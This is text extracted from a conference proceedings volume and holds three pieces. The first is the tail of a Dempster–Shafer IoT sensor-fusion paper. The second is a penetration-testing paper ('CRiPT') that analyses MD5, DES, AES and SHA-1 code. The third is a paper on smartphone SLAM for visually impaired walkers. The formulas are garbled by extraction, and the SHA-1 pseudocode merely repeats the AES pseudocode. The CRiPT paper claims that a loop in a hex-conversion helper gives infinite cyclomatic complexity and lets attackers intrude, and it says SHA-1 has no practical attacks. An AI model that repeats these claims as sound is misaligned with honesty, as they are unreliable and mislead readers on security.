inference mechanism process. Figure 4 shows the stepwise process details.
In this paper, we propose an additional intelligent inference based on Dempster–
Shafer theory (DST) step to the MSDF approach. As per our understanding, no
Fig. 4 Novel context-aware approach for MSDF
previous attempt has been made in this direction. DST helps to find out uncertainty
factor along with 0/1 or T/F state. DST is very accurate in generating results so it is
mostly used in context-aware systems. So we are making sensor data intelligent
with context-aware systems that in addition to DST.
Being more analogous to our human perception-reasoning processes, the DST
adds a new zest to safety and reliability modeling as compared with other tech-
niques. DST can be successfully combined with other techniques like ANN or
fuzzy logic for more realistic results.
4.1 DST in Context-Aware Systems
Dempster–Shafer theory as a theory of evidence has to account for the combination

of different sources of Evidence. Rule of Combination is an essential step in pro-
viding such a theory. In this scenario belief functions are constructed by means of
multivalued mappings [18].
Bel and its dual, Pl (plausibility), are special kind of lower/upper probability
functions.
We can see it by defining PBel = {μ: μ(U) ≥ Bel(U) for all U W} and showing
that Bel = (PBel)* and Pl = (PBel)*.
• The lower bound of the confidence interval is the belief confidence, which
accounts all evidences Ek that support the given proposition “A”:
P
Belief i(A) = mi ðEk Þ
Ek A
• The upper bound of the confidence interval is the plausibility confidence, which
accounts all the observations that does not rule out the given proposition:
P
Plausibility i(A) = 1 mi ðEk Þ
Ek \A¼u
Combination of belief and plausibility leads to a mass function which handles
uncertainty effectively to produce more correct inferences. Thus, context-aware
systems can draw inferences on its own and take decisions on the user’s behalf.
4.2 DST Versus Bayesian Networks
Being most popular inference mechanisms, we tried to compare Bayesian networks

with DST in Table 2. Both use probabilistic approach for data fusion. DST is
basically advancement in Bayesian networks which handles the third aspect as
uncertainty rather than just True/False or 0/1.
Table 2 Comparison between inference mechanisms

Parameters Bayesian networks Dempster–Shafer theory
High-level Yes Yes
fusion
Decision making Possible More correct
Uncertainty Limited extent Effectively done
management
Tolerant of Limited extent Possible
imprecision
Availability of Works best when Works better than any other probabilistic
probabilistic Availability of full methods when lack of full prepositional
information probabilistic information information
Combination Not much useful Produces more accurate and robust results
with other
algorithms
Effective use in Medical diagnosis Robotics
Limitations Difficulty to deal with Nonintuitive results when dependent
temporal variations belief functions
Depending on the availability of probabilistic information, particular technique

is chosen in context-aware systems. Here, we found that DST turns out to be
superior over Bayesian networks when full probabilistic information is not
available.
5 Conclusion
In this paper, we have proposed context-aware framework and have reviewed

MultiSensor Data Fusion and internet of things (IoT). In the next 5 years, i.e., by
2020, IoT is expected to connect more than 25 Billion devices. Therefore, there will
be lot of research rigor in IoT middleware, which will require further attention in
terms of the development of novel solutions. Context-aware computing is going to
be the prime focus of many researchers to address various challenges in IoT
middleware.
In our paper, we have stated role of DST in context-aware systems to get correct
inferences from the environment. Also we have compared DST with Bayesian
networks which are an alternative option for probabilistic data handling. As
ongoing work, we are focusing on the robustness aspect using DST which would
generate more comprehensive view about the environment. To decrease the com-
putational overhead of DST can also be considered as a research challenge. Another
possible extension will be in the direction of the Hidden Markov Model. We will be
investing on HMM-based model as our future work to address the uncertainty
aspect.
References
1. Ashton, K.: That ‘Internet of Things’ Thing. RFID J. 22, 97–114 (2009)
2. The Internet of Things: ITU Internet Reports (2005)
3. Hall, D.: An introduction to multisensor data fusion. Proc. IEEE 85(1), 6–23 (1997)
4. Luo, R.C.: Multisensor fusion and integration: theories, applications, and its perspectives.
IEEE Sens. J. 11(12), 3122–3138 (2011)
5. Hall, David: Mathematical Techniques in Multisensor Data Fusion, Boston. Artech House,
MA (1992)
6. An, S.-h., Lee, B.-H., Shin, D.-R.: A survey of intelligent transportation systems. In: Third
International Conference on Computational Intelligence, Communication Systems and
Networks (CICSyN), IEEE (2011)
7. Khaleghi, B., Khamis, A., Karray, F.O., Razavi, S.N.: Multisensor data fusion: a review of the
state-of-the-art. Inf. Fus. 14(1), 28–44 (2013)
8. Miloslavov, Adelin, Veeraraghavan, Malathi: Sensor data fusion algorithms for vehicular
cyber-physical systems. IEEE Trans. Parallel Distrib. Syst. 23(9), 1762–1774 (2012)
9. Ribeir, M.I.: Kalman and extended Kalman filters: concept, derivation and properties (2004)
10. Rodger, J.A.: Toward reducing failure risk in an integrated vehicle health maintenance system:
A fuzzy multi-sensor data fusion Kalman filter approach for IVHMS. Expert Syst. Appl. 39
(10), 9821–9836 (2012)
11. Kalman, R.E.: J. Basic Eng. 82(1), 35–45 (1960)
12. Kalman, R.E.; Bucy, R.S.: New results in linear filtering and prediction theory. J. Basic Eng.
Trans. ASME 83, 95–108 (1961)
13. Bothe, H.-H.-H.: Multivariate sensor fusion by a neural network model
14. Stover, J.A., Hall, D.L.: A fuzzy-logic architecture for autonomous multisensor data fusion.
IEEE Trans. Ind. Electron. 43(3), 403–410 (1996)
15. Friedman, N., et al.: Using Bayesian networks to analyze expression data. J. Comput. Biol. 7
(3–4), 601–620 (2000)
16. Schilit, B., Adams, N., Want, R.: Context-aware computing applications. In: First Work shop
on Mobile Computing Systems and Applications, WMCSA (1994)
17. Baldauf, M., Dustdar, S., Rosenberg, F.: A survey on context-aware systems. Int. J. Ad Hoc
Ubiquitous Comput. 2(4), 263–277 (2007)
18. Shafer, G.: A Mathematical Theory of Evidence. Princeton, University Press (1976)
19. Robust Covariance Estimation for Data Fusion From Multiple Sensors João Sequeira. IEEE
Trans. Instrum. Meas. 60, 3833–3844 (2011)
20. Weiser, M.: The computer for the 21st century. Sci. Am. 265(3), 66–75 (1991)
21. Yu, S., De Moor, B., Moreau, Y.: Clustering by heterogeneous data fusion: framework and
applications Covariance consistency methods for fault-tolerant distributed data fusion (Jeffrey
K. Uhlmann Science Direct. Inf. Fus. 4 201—215(2003)
22. Banerjee, T.P.: Multi-sensor data fusion using support vector machine for motor fault
detection science direct. Inf. Sci. 217 65–77 (2012)
23. Shafer, G.: Probability judgement in artificial intelligence. In: Kanal, L.N., Lemmer, J.F. (eds.)
Uncertainty in Artificial Intelligence. New York, Elsevier Science (1986)
24. Žontar, Rok: Marjan Heričko. Taxonomy of context-aware systems, Ivan Rozman (2012)
CRiPT: Cryptography in Penetration
Testing
Abstract The speed and the rate at which the softwares are developed worldwide
to meet the customer requirement(s) is increasing day by day. In order to meet the
customer target-oriented deadline(s), the softwares are developed at fast pace, often
missing vital security checks in the process. These checks become crucial when the
software developed are deployed over the network in the client–server architecture
and more significantly in the MVC (Model View Controller) architecture scenario.
Then one may ask what is the solution? Possible answer is in secure system
software engineering which incorporates principles of penetration testing.
Penetration testing is one of the amicable and acceptable solution. It might not be a
perfect one but it is effective. A penetration test is an attack on the system with the
intent of finding security loopholes, potentially gaining access to it, its functionality
and data. In this work, we have proposed a methodology for implementing pene-
tration testing. We have taken several cryptographic algorithms such as AES, DES,
MD5, and SHA to demonstrate our unique methodology which blends the cryp-
tographic techniques with software engineering principles.
Keywords MD5 AES DES SHA-1 Plaintext Ciphertext
1 Introduction
Penetration testing (also called pen testing) is a technique for testing a computer
system, network, or web application to find vulnerabilities that an attacker could
exploit [1]. Penetration Testing can contribute in developing secured software
S. Ahuja (&) R. Johari C. Khokhar

USICT, GGSIP University, Dwarka, Delhi, India
e-mail: sachin.ahuja1992@gmail.com
R. Johari
e-mail: rahul@ipu.ac.in
C. Khokhar
e-mail: chetnakhokhar92@gmail.com

96 S. Ahuja et al.
programs, but it is still a riddle in software development. Many people are not
aware of this term. The one who is aware, do not know how to exploit the benefit of
it. Well, both the cases are same. We, through the work given below, have tried to
propose our methodology for penetration testing. Encryption and decryption
algorithms are used in almost every software application developed as a part of
SSSE (system secure software engineering), also they are simpler to understand.
Hence for better understanding, we have implemented our methodology on cryp-
tographic algorithms MD5, DES, AES, and SHA-1. We have done the complexity
and coverage analysis of these algorithms. For completeness and clarity, the paper
is organized as follows: Sect. 2 discusses about Objective, Sect. 3 discusses about
the related work, Sect. 4 discusses about the simulation performed, Sect. 5 discusses
about the methodology adopted, Sect. 6 discuss about the result, Sect. 7 discuss
conclusion and future work about the followed by acknowledgement and references
section.
2 Objective
The objective of our work is not to explain the buzzword “Penetration Testing” but
to develop a methodology for the same. We have discussed the methodology in
Sect. 5, wherein we have carried out the complexity and coverage analysis of
different cryptographic algorithms. We have also pointed out the networks attacks
and vulnerabilities pertaining to these algorithms. The developer must ensure that
applications so developed are safe against network attacks. Although 100 %
security can never be guaranteed, but the more effort we make at the time of
development to write secure and bug free code, less problems we would encounter
during maintenance phase and at the time of deployment of application in n-tier
client server computing.
3 Related Work
Security can be tackled at various phases of the development lifecycle, like design
phase, development phase, and even at testing phase. Security can also be added to
the data packets being transmitted over the network by introducing the encryption
of the data packets [5]. Various algorithms like DES, AES, and MD5 have been
introduced for the security of data packets transmitted in the network [9]. But
various attacks (Bruteforce, Dictionary et al.) would detect the data being trans-
mitted in the network [6]. Risk-based security testing is based on attack pattern and
threat models [11]. Thus by identifying vulnerabilities in the system and creating
tests driven by those vulnerabilities, a software security tester can properly focus on
CRiPT: Cryptography in Penetration Testing 97
those areas of code in which an attack will occur. Penetration testing is widely used
to help and ensure the security of the network [4, 12]. Establishing test ground rules
is the important part of Penetration analysis [10]. The features added in the
development phase of an application can be tested in testing phase. In [13] author(s)
discuss and analyze development in field of online authentication process including
OTP systems, biometrics, and PSTN Network for cardholder authentication. In [14,
15], author(s) present a significant review of various types of vulnerabilities,
structured query language injection attacks, cross-site scripting attack, and pre-
vention techniques. In [16], author(s) present an integrated model to prevent
reflected cross-site scripting attack and SQL Injection attacks in commercial
applications designed in PHP. In [17], author(s) exhibit the exploitation of web
vulnerabilities in a credit card validation web application using brute force and
dictionary attack. In [18], author(s) show the comparative performance analysis of
MD5, DES, and AES encryption algorithms on the basis of execution time, lines of
code (LOC) on web-based application(s). In [19], author(s) also propose a similar
technique to handle the security of the alphabets and numbers but without any
detailed comparison. In [20], author(s) propose a technique to encrypt and decrypt
the alphabets, numbers, and alphanumeric data in minimum span of time with
minimum lines of code. In [21], author(s) have designed a Java-based tool to show
the exploitation of injection using SQL Injection attack and broken authentication
using brute force attack and dictionary attack and the prevention of all these attack
by storing the data in database in encrypted form using AES algorithm. In [22],
author(s) have explored and exhibited system vulnerabilities and network attacks
such as denial of service, brute force, dictionary attack, etc.
4 Simulation Performed
We have chosen Java programming language as a tool for carrying out the work
discussed in the paper. The reason for doing simulation in Java is that, it is a
language which is a open source and it strongly emphasizes security, including
language safety, cryptography, public key infrastructure, authentication, secure
communication, and access control. The Java cryptography architecture is a major
piece of the platform, and contains a “provider” architecture and a set of APIs for
digital signatures, message digests (hashes), certificates and certificate validation,
encryption (symmetric/asymmetric block/stream ciphers), key generation and
management, and secure random number generation, to name a few. These APIs
allow developers to easily integrate security into their application code. We have
used ECLIPSE [2] as a tool for stimulating the cryptographic algorithms. Also we
used Eclipse plug-in EclEmma [3] for the coverage analysis of these algorithms.
The outputs and results are described in Sect. 6.
98 S. Ahuja et al.
5 Our Methodology
We divide our methodology into five parts as mentioned below:

(a) Identification of different cryptographic algorithm
(b) Simulation/Implementation of cryptographic algorithms
(c) Structural Analysis of cryptographic algorithms
(d) Coverage Analysis of cryptographic algorithms
(e) Vulnerabilities and Network Attacks pertaining to cryptographic algorithms
The five parts of our methodology are demonstrated below:
5.1 Identification of Cryptographic Algorithms
From the vast array of cryptographic algorithms, we have chosen four algorithms
named MD5, DES, AES, and SHA-1. We have built our work around these
algorithms to demonstrate it more effectively. These algorithms are discussed
below:
5.1.1 Message Digest 5(MD5)
MD5 transforms a variable-length message into a fixed-length output of 128-bits.

The input message is broken into chunks of 512-bit blocks. To make the length of
plaintext exactly divisible by 512, the message is padded by first appending a single
1-bit at the end of the message. This is followed by as many zeros as required to
bring the length of the message up to 64-bits less than a multiple of 512. The
remaining 64-bits represent the length of the original message, modulo 264.
5.1.2 Data Encryption Standard (DES)
DES was designed by IBM and adopted by the U.S. government as the standard
encryption method for nonmilitary and nonclassified use. The algorithm encrypts a
64-bit plaintext using 56-bit key. The text is put through 19 different and complex
procedures to create a 64-bit ciphertext. DES has two transposition blocks, one
swapping block, and 16 complex blocks called iteration blocks.
5.1.3 Advanced Encryption Standard (AES)
AES is primarily used for the encryption of electronic data. It was first published by
Vincent Rijmen and Joan Daemon in 1998. AES is a cryptographic algorithm that
divides the plaintext into blocks of 128-bits and processes each block to produce a
symmetric block cipher using a key. The key can be 128-bit, 192-bit, or 256-bit in
size. The number of iterations in the algorithm depends upon the size of the key.
The number of iterations/rounds in the processing of a block can be 10, 12, or 14
depending on the key size being 128-, 192-, or 256-bits, respectively.
5.1.4 Secure Hash Algorithm (SHA-1)
SHA-1 is a cryptographic hash function designed by the United States National

Security Agency (NSA) in 1995. The algorithm divides the plaintext into blocks
where each block consists of 512-bits and then processes these blocks one by one to
produce 160-bits of output for each block. The number of iterations for each of the
block is 80.
5.1.5 Simulation/Implementation of Cryptographic Algorithms
This section discusses the implementation and simulation results of algorithms

identified in the first part. Table 1 shows the pseudocode for these algorithms
followed by Table 2 which shows the simulation results.
5.2 Structural Analysis
To analyze the algorithm(s), we had two strategies: functional analysis and/or

structural analysis. We have chosen structural analysis as our strategy because to
analyze an algorithm in order to identify the underlying vulnerabilities we need to
do the white box testing of the algorithm, also called as structural analysis.
We divide our structural analysis into two parts as given below:
5.2.1 Design of DD Path Graph
The DD path graph shows the sequence of statement execution of a program where
the nodes in the graph are all predicate nodes with edges between them. Multiple
nodes that are always executed sequentially are combined to form a single node.
5.2.2 Calculation of Cyclomatic Complexity
Now we find a method to find the number of independent paths for each of the
algorithms using their DD path graphs. We have chosen Cyclomatic Complexity as
a metric to find the number of independent paths for each of the algorithm.
100 S. Ahuja et al.
Table 1 Pseudocode for cryptographic algorithms MD5, DES, AES, and SHA-1
Algorithm Pseudo code
name
MD5 MD5(String plaintext)
{
Input(plaintext);
MessageDigest md= MessageDigest.getInstance(“MD5”);
Byte[] ba Convert plaintext into byte array;
md.update(ba);
byte[] digest= md.digest();
Output(“MD5 hash function for plaintext is:” + new String(digest));
}
DES DES(String plaintext)
{
Input(plaintext);
Key Create a static secret key ;
Cipher desCipher Calculate the cipher using plaintext and secret key generated above;
Output(“The generated Cipher text is:” + desCipher”);
}
AES AES(String plaintext)

{
Input(plaintext);
Cipher aesCipher Calculate the cipher using plaintext and secret key generated above;
byte[ ] encrypted Convert aesCipher into byte array;
Output(“Encrypted string is:”+ asHex(encrypted) );
}
SHA-1 SHA_1(String plaintext)

{
Input(plaintext);
Cipher aesCipher Calculate the cipher using plaintext and secret key generated above;
byte[ ] encrypted Convert aesCipher into byte array;
Output(“Encrypted string is:”+ asHex(encrypted) );
}
The number of independent paths in case of MD5 and DES is finite. But for AES
and SHA-1, the cyclomatic complexity comes out to be infinite. It is observed that
the DD path graph of “asHex” function has a loop. Therefore, the number of paths
for this algorithm is infinite. Attacker can make use of this flaw. He can inten-
tionally give such kind of inputs which can create loop during the execution of the
program, and can hence intrude into the system. It is important to stress that this
flaw is not because of design of the program. Rather, this is the fault of pro-
grammer. Here, the “asHex” function is doing nothing but evaluating the equivalent
hex-code for the cipher text being generated by the algorithm. Although this has no
relation with the working of AES but the bad structure of asHex function is vul-
nerability. We strongly recommend the restructuring of asHex function. If such
errors are found during the testing of algorithm, the modules should be restructured
and testing should be done again.
Table 3 shows the DD path graph and Cyclomatic Complexity calculations for
different algorithms.
Table 2 Snapshot of implementation of cryptographic algorithms MD5, DES, AES, and SHA-1
Algorithm Snapshot of implementation of cryptographic algorithms in java
name
MD5
DES
AES
SHA-1
5.3 Coverage Analysis of Cryptographic Algorithms
In this section, we outline the method for the coverage analysis of various cryp-
tographic algorithms. We have used an eclipse plug-in named EclEmma which
enables the monitoring of coverage metrics while running the algorithm. The
summarized results for the coverage analysis of various cryptographic algorithms
have been shown in Table 4 given below.
We have implemented the algorithms for various input strings (plaintext). We
have shown the coverage metric, covered instructions, missed instructions, and total
number of instructions. The coverage metric represents the percentage of statements
executed when the algorithm runs. The tool also highlights the statements executed.
The statements that have not been executed can be inspected to see the vulnera-
bilities, if any. This is because such lines of code cannot be executed, not even at
the time of testing but when deployed at real time, these can then be potential
102 S. Ahuja et al.
Table 3 DD Path graph and cyclomatic complexity for cryptography algorithm MD5, DES, AES,
and SHA-1
Algorithm DD path graph(s) Cyclomatic complexity
MD5 Cyclomatic Complexity : π +1
: 0+1
:1
DES Cyclomatic Complexity : π +1
: 2 +1
:3
AES Main function DD DD path graph for Cyclomatic Complexity (For

path graph asHex function main()) : π+1
:0+1
:1
Cyclomatic Complexity (For
asHex( )): Infinite
Total Cyclomatic Complexity

Of The Algorithm =
Cyclomatic Complexity Of
“Main ( )” +Cyclomatic
Complexity Of “asHex( )”
= Infinite
(continued)
Table 3 (continued)
Algorithm DD path graph(s) Cyclomatic complexity
SHA-1 Main function DD DD path graph for Cyclomatic Complexity of
path graph asHex function Main Program : π +1
:1+ 1
:2
Cyclomatic Complexity (For
ashex()) : Infinite
Total Cyclomatic
Complexity Of The Algorithm
= Infinite
Note Π ← Number of Predicate Nodes contained in the graph
Table 4 Coverage Analysis of Cryptographic algorithms MD5, DES, AES, and SHA-1
Algorithm Coverage metric Covered Missed Total
(%) instructions instructions instructions
MD5 94.8 55 3 58
DES 51.6 49 46 95
AES 97.4 113 3 116
SHA-1 93.4 183 13 196
threats to the system because neither the programmer nor the user can predict that
how the system will behave if these are executed. To summarize, the algorithm with
the highest value of “coverage metric” is the best.
5.4 Vulnerabilities and Network Attacks Pertaining

to Cryptographic Algorithms
The vulnerabilities and network attacks related to the four cryptographic algorithms
are discussed below:
MD5 The message Digest-5 algorithm has collision vulnerability and two
prefixes with the same hash code can be generated. This algorithm is also
sensitive to preimage attack.
104 S. Ahuja et al.
DES The DES algorithm is sensitive to differential cryptanalysis and linear

cryptanalysis. Although DES was designed in such a manner so as to
make it safe against differential cryptanalysis but no such measures have
been taken for linear cryptanalysis.
AES The AES algorithm is sensitive to related-key attack, distinguishing attack,
key-recovery attacks, side channel attacks, and differential fault analysis.
SHA-1 Although there are no practical attacks associated with SHA-1 but
researchers have introduced a theoretical attack that requires 261
computations.
The vulnerabilities and network attacks associated with different algorithms have
been mentioned above. We recommend that the developer should test their appli-
cation programs against these attacks. We also advise that special test cases should
be designed to deliberately execute these attacks in testing environment. The
solution for the attacks should also be found and documented in the manuals to be
given to the users of the application. Although one cannot guarantee 100 % safety
but we should try to cover as many vulnerabilities as possible.
6 Result
At the end, in order to summarize, we have taken four metrics u, v, w, and avg. The
values of “u” and “v” are based on the results observed during the structural
analysis and coverage analysis, respectively. Finally, value of “w” depends upon
the discussion made under Sect. 5.4. The last metric “avg” evaluates the average of
metrics u, v, and w for each of the algorithm. As we have taken four cryptographic
algorithms named MD5, DES, AES, and SHA-1, we have evaluated the value of
these metrics on a scale of 1–4. The algorithm with more number of vulnerabilities
is given lower value for these metrics. Obviously, the algorithm with the highest
value of u, v, and w is the best of all the alternatives. The calculations are shown in
Table 5.
Table 5 Results depending upon the observations made by the application of our methodology on
algorithms
Algorithm U v w avg
MD5 4 3 1 2.66
DES 3 1 3 2.33
AES 1 4 4 3.33
SHA-1 2 2 2 2
We applied our methodology on four cryptographic algorithms MD5, DES, AES,

and SHA-1. We used structural and coverage analysis as the basis of our meth-
odology. We also took into account the vulnerabilities pertaining to these algo-
rithms. The results of our work met our expectations.
In the future, we will be applying our methodology to other cryptographic
algorithms such as BlueFish, RC4, RSA, etc. We will also be incorporating soft-
ware engineering technologies other than structural and coverage analysis such as
data flow-based testing, linearly independent path, etc., into our methodology so as
to enhance it further.
Acknowledgments The author(s) wishes to extend sincere thanks to the administration of GGSIP
University for providing rich academic and research oriented environment.
References
1. http://searchsoftwarequality.techtarget.com/definition/penetration-testing
2. http://www.eclipse.org/downloads/
3. http://www.eclemma.org/download.html
4. Dai, Z., Lv, L., Liang, X., Bo, Y.: Network penetration testing scheme description language.
In: IEEE Computer Society, International Conference on Computational and Information
Sciences (2011)
5. Jain, S., Johari, R.: SECRA (Secure Erasure Coding based Routing Algorithm). In:
International Conference on Research Trends in Computer Technologies (ICRTCT-2013)
(Jan 2013)
6. Jain, S., Johari, R.: AID (Attack Identification in DTN). In: 18 Annual cum 3rd International
Conference of Gwalior Academy of Mathematical Sciences (GAMS) on Mathematical,
Computational and Integrative Sciences, (Sept 2013)
7. Pan, W., Li, W.: A penetration testing method for e-commerce authentication system security.
In: International Conference on Management of e-Commerce and e-Government, IEEE
Computer Society (2009)
8. Jain, S., Kaur, A., Johari, R.: CPFSD (Code Penetration for Secure Development). In: 7th
International Conference on Advanced Computing and Communication Technologies
(ICACCT—2013) (Nov 2013)
9. Jain, S., Johari, R.: ECBEC (erasure coding block encryption using cryptography). In: Security
and Privacy Symposium–2013, IIT Kanpur, (Feb 2013)
10. Weissman, C.: Penetration Testing. Trusted Computer System Evaluation Criteria, DoD
5200.28-STD (Dec 1985) (The Orange Book)
11. Graw, G.Mc.: Software Security, Cigital, Inc
12. Geer, D., Harthorne, J.: Penetration testing :a duet, @Stake, dgeer@atstake.com
13. Gupta, S., Johari, R.: A new framework for credit card transactions involving mutual
authentication between cardholder and merchant. In: International Conference on
Communication Systems and Network Technologies (CSNT), pp. 22–26, IEEE (2011)
14. Johari, R., Gupta, N.: Secure query processing in delay tolerant network using java
cryptography architecture. In: International Conference on Computational Intelligence and
Communication Networks (CICN), pp. 653–657, IEEE (2011)
106 S. Ahuja et al.
15. Johari, R., Sharma, P.: A survey on web application vulnerabilities (SQLIA, XSS) exploitation
and security engine for SQL injection. In: International Conference on Communication
Systems and Network Technologies (CSNT), pp. 453–458, IEEE (2012)
16. Sharma, P., Johari, R., Sarma, S.S.: Integrated approach to prevent SQL injection attack and
reflected cross site scripting attack. In: International Journal of System Assurance Engineering
and Management, pp. 343–351, Springer (3 April 2012)
17. Jain, I., Johari, R., Ujjwal, R.L.: Web vulnerability exploitation using brute force attack and
dictionary attack. In: proceedings of 9th National Conference on Smarter Approaches in
Computing Technologies and Applications (SACTA-2014) (2014)
18. Johari, R., Jain, I., Ujjwal, R.L.: Performance analysis of MD5, DES and AES encryption
algorithms for credit card application. In: International Conference on Modeling and
computing (ICMC—2014) (2014)
19. Ruby, L., Johari, R.: Designing a secure encryption technique for web based application. Int.
J. Adv. Res. Sci. Eng. (IJARSE) [ISSN-2319-8354], 3(7), 159–163 (July 2014)
20. Ruby, L., Johari, R.: SANE: Secure encryption technique for alphanumeric data over web
based applications. Int. J. Eng. Res. Technol. (IJERT) [ISSN no: 2278–0181] 3(8), 8–11
(August 2014)
21. Jain, I., Johari, R., Ujjwal, R.L.: CAVEAT: Credit card vulnerability exhibition and
authentication tool. In: Second International Symposium on Security in Computing and
Communications (SSCC’14), pp. 391–399, Springer (2014)
22. Ahuja, S., Johari, R., Khokhar, C.: EAST: exploitation of attacks and system threats in
network. In: Information Systems Design and Intelligent Applications, Advances in Intelligent
Systems and Computing (ASIC) Series, vol. 339, pp. 601–611, Springer (2015)
Simultaneous Localization and Mapping
for Visually Impaired People for Outdoor
Environment
Anurag Joshi, Himanshu Agrawal and Poorva Agrawal
Abstract Today, mobile phones are equipped with at least half a dozen sensors
such as accelerometer, gyroscope, proximity, and ambient light sensor. Mobile
phone is increasingly being used to address various challenges on part of infor-
mation dissemination, navigation, guidance, and short-range device-to-device
communication. With the availability of sensors, there is a growing focus on the
development of localization and mapping algorithms using mobile. In this paper,
we focus on the simultaneous localization and mapping algorithm (SLAM) for
visually impaired people. We have conducted an initial study on a visually impaired
person for outdoor navigation in our University campus.
Keywords Augmented reality (AR) Simultaneous localization and mapping

(SLAM)
1 Introduction
Today, mobile phones are equipped with at least half a dozen sensors such as
accelerometer, gyroscope, proximity, and ambient light sensor. Mobile phone is
increasingly being used to address various challenges on part of information dis-
semination, navigation, guidance, and short-range device-to-device communication.
With the availability of sensors, there is a growing focus on the development of
localization and mapping algorithms using mobile. SLAM deals with the problem
A. Joshi (&) H. Agrawal P. Agrawal

Computer Science and Engineering Department, Symbiosis Institute of Technology,
Pune, Maharashtra, India
e-mail: anurag.joshi@sitpune.edu.in
H. Agrawal
P. Agrawal
e-mail: poorva.agrawal@sitpune.edu.in

108 A. Joshi et al.
of building a map of unknown environment and at the same time navigating the
environment using a particular map. Location mapping can be done for Indoor as
well as outdoor application. Mobile device being an integral part of life, we plan to
use it to assist the visually impaired using SLAM. Considering both indoor and
outdoor situations, GPS is more reliable in outdoor environment as it performs
poorly in indoor and rural areas [1]. Meanwhile, for location-related incidents, like
freezing of gait [2], location tracking applications can assist the end-user by cre-
ating a user awareness while crossing peril zones. There is wide literature available
on SLAM algorithms. Exploring an unidentified environment of a robot involves
simultaneous localization and mapping (SLAM), as it is a requisite for many
real-world applications. Visual SLAM [3, 4] is the methodology which resolves
problems like converting visual information such as images or audio. Visual SLAM
is nowadays used in wearable devices like Google glass and smart phones.
However, due to various obstacles within defined range, indoor slam is different
from outdoor ones, as due to fast movement of human and inadequate indoor
illumination. One such solution is to use SLAM in mobile devices which not only
record the surroundings but also play an important role in helping blind or visually
impaired person, by detecting the dangerous surrounding issues such as potholes or
even staircases. Moreover, SLAM based on global localization is formulated as
disjoint problems [5]. In practical terms though, these are not disjointed, especially
when the given map is insufficient—an imperfect map has minute errors between
the applied map and the real environment which results to either a lack or an excess
of landmarks in the former. In contrast to this, a perfect map fully describes every
landmark in the target environment. Although floor plan is an imperfect mapping
system, many localization solutions utilize it. The following paper deals with the
idea of achieving global localization even when only an imperfect map is given
with no initial state. Taking in concern both the pros and cons, we determined that
in the following mentioned situation, both global localization and SLAM problem
have to be solved simultaneously and dependently.
In this paper, we present our study for outdoor navigation. Location can be
detected using GPS sensor. Localization using GPS is an important challenge in
Indoor environment, as GPS has a lot of blind spots. In the context of localization
and mapping, the fundamental problems are characterized as below:
• A local localization problem which occurs when both the map of the environ-
ment and prior state information is provided.
• A global localization problem which occurs when only the map is provided.
• SLAM [6] which occurs when only a prior state is given and both states of the
map and pose are estimated simultaneously is provided.
This paper is organized as follows. The next section describes the problem
statement. Section 3 shows the proposed system explaining the schematic of
application. In Sect. 4, we describe the experimental results carried out on the
application followed by Sect. 5 describing the implementation. Finally, in Sect. 6,
results are shown.
Simultaneous Localization and Mapping … 109
2 Problem Statement
Person who is visually impaired or blind lose their way while walking. However,
they use stick or smart stick which can resolve their problem for detecting the
obstacles. So to provide a better solution, use of smart phones is an alternative to
assist them, as not to follow the wrong path. This can be resolved through Dead
Reckoning algorithm as shown in Algorithm 1. We have noticed that the central
reason behind this complicacy is that they are not aware of their stream location and
as a result of which they sometimes keep heading toward the wrong direction.
3 Proposed System
We propose to build a system, which assists the blind people with the help of smart
phones that can assist them in a similar way how a smart stick supports, thus
providing accurate location information which, when combined with a digital map,
offers guidance vibrations to the user. Hence, it substantially solves the localization
problem by designing an accurate outdoor pedestrian tracking system that can be a
reliable guidance measure for reaching their destination. Flowchart shows how the
application works for both sighted user as well as for blind one. A sample use case
of our application involves following steps. Figure 1 shows a flow for sighted user,
and the application will work in the manner described in the flowchart. First, the
user has to open the application on his device followed by starting the GPS con-
nection. The moment GPS is on, device will track the user location through inbuilt
110 A. Joshi et al.
Fig. 1 Flowchart for sighted user
Fig. 2 Flowchart for a blind person
sensors. Now, the next step is to walk on a desired path and mark the obstacles as
shown in Fig. 7. This process continues till the source reaches to its destination.
Similarly, Fig. 2 shows the flow for physically impaired person. The same process
is taken into consideration except that now there is no need of marking the obstacles
as co-ordinates are fixed. As a result, whenever the user is in the obstacle range, the
device will vibrate and hence the user can follow the proper path to reach the
destination.
We conduct our experiment in the area shown in Figs. 3, 4, 5, and 6.
5 Implementation
The application was tested using MicromaxA210 smart phone. The outdoor navi-
gation smart phone application processed the sensor data from accelerometer,
proximity sensor, and ambient light sensor which is inbuilt in the above-mentioned
device used. During the prototype phase of the experiment, a user is asked to follow
a particular path, from a source position to multiple known destinations. The first
obstacle encountered by the user was a barricade. As soon as the latter came across
the obstacle, the device vibrated thus alerting him. This way, the user can avoid that
particular obstacle and move forward along the scheduled path (Fig. 7).
Figure 8 describes the user taking a turn while entering into the mess premises.
Now, the final obstacle that the user comes across is a staircase. The device vibrates
to inform the user about the hindrance.
Fig. 3 Hostel–mess
Fig. 4 Barricade as obstacle
112 A. Joshi et al.
Fig. 5 Mess area
Fig. 6 Stairs as obstacle
Fig. 7 Obstacle 1
Fig. 8 Obstacle 2
Fig. 9 Obstacle 3
114 A. Joshi et al.
Fig. 10 Obstacle 4
Figure 9 describes the entire premises of the campus (Hostel–Mess, Mess–

College) and vice versa. The obstacles present through the scheduled path are
marked by red circles as shown in Fig. 10. So as to check the accuracy in various
conditions of the pathway, multiple readings were compiled and are presented in a
nutshell.
6 Conclusion
In this paper, we provide some initial experiments using dead reckoning-based

SLAM algorithm. We have tested on an android phone for outdoor navigation. The
developed application can track the path and setup points where there are stationary
obstacles and alert the user successfully. This could be a good use case for a blind
person to alert him about fixed obstacles. So far, this application works statically, so
our next task is to make it work on run-time basis as well. This can be done through
mounting the sensors which should be integrated from exterior. In addition to this,
we can also replace alert from vibration mode to audio signals which will assist the
blind persons to follow the appropriate path.
References
1. Roxin, A.-M., Gaber, J., Wack, M., Moh, A.N.S.: Survey of wireless geolocation techniques.
IEEE Globecom Workshops, Washington, p. 9, Nov 2007
2. Bachlin, M., Roggen, D.: Experiences in developing a wearable gait assistant for parkinson’s
disease patients. In: Healthcare Sensor Networks—Challenges towards Practical
Implementation (2011)
3. http://www.mica.edu.vn/perso/Vu-Hai/ACVR2014-W22-02-Final.pdf
4. Cox, I., Wilfong, G., Smith, R., Self, M., Cheeseman, P.: Estimating uncertain spatial
relationships in robotics. In: Autonomous Robot Vehicles, Springer, New York, pp. 167–193
(1990)
5. Tanaka, K., Ohtake, H., Tanaka, M., Wang, H.O.: Wireless vision-based stabilization of indoor
microhelicopter. IEEE/ASME Trans. Mechatronics 17(3) 519–524, June 2012
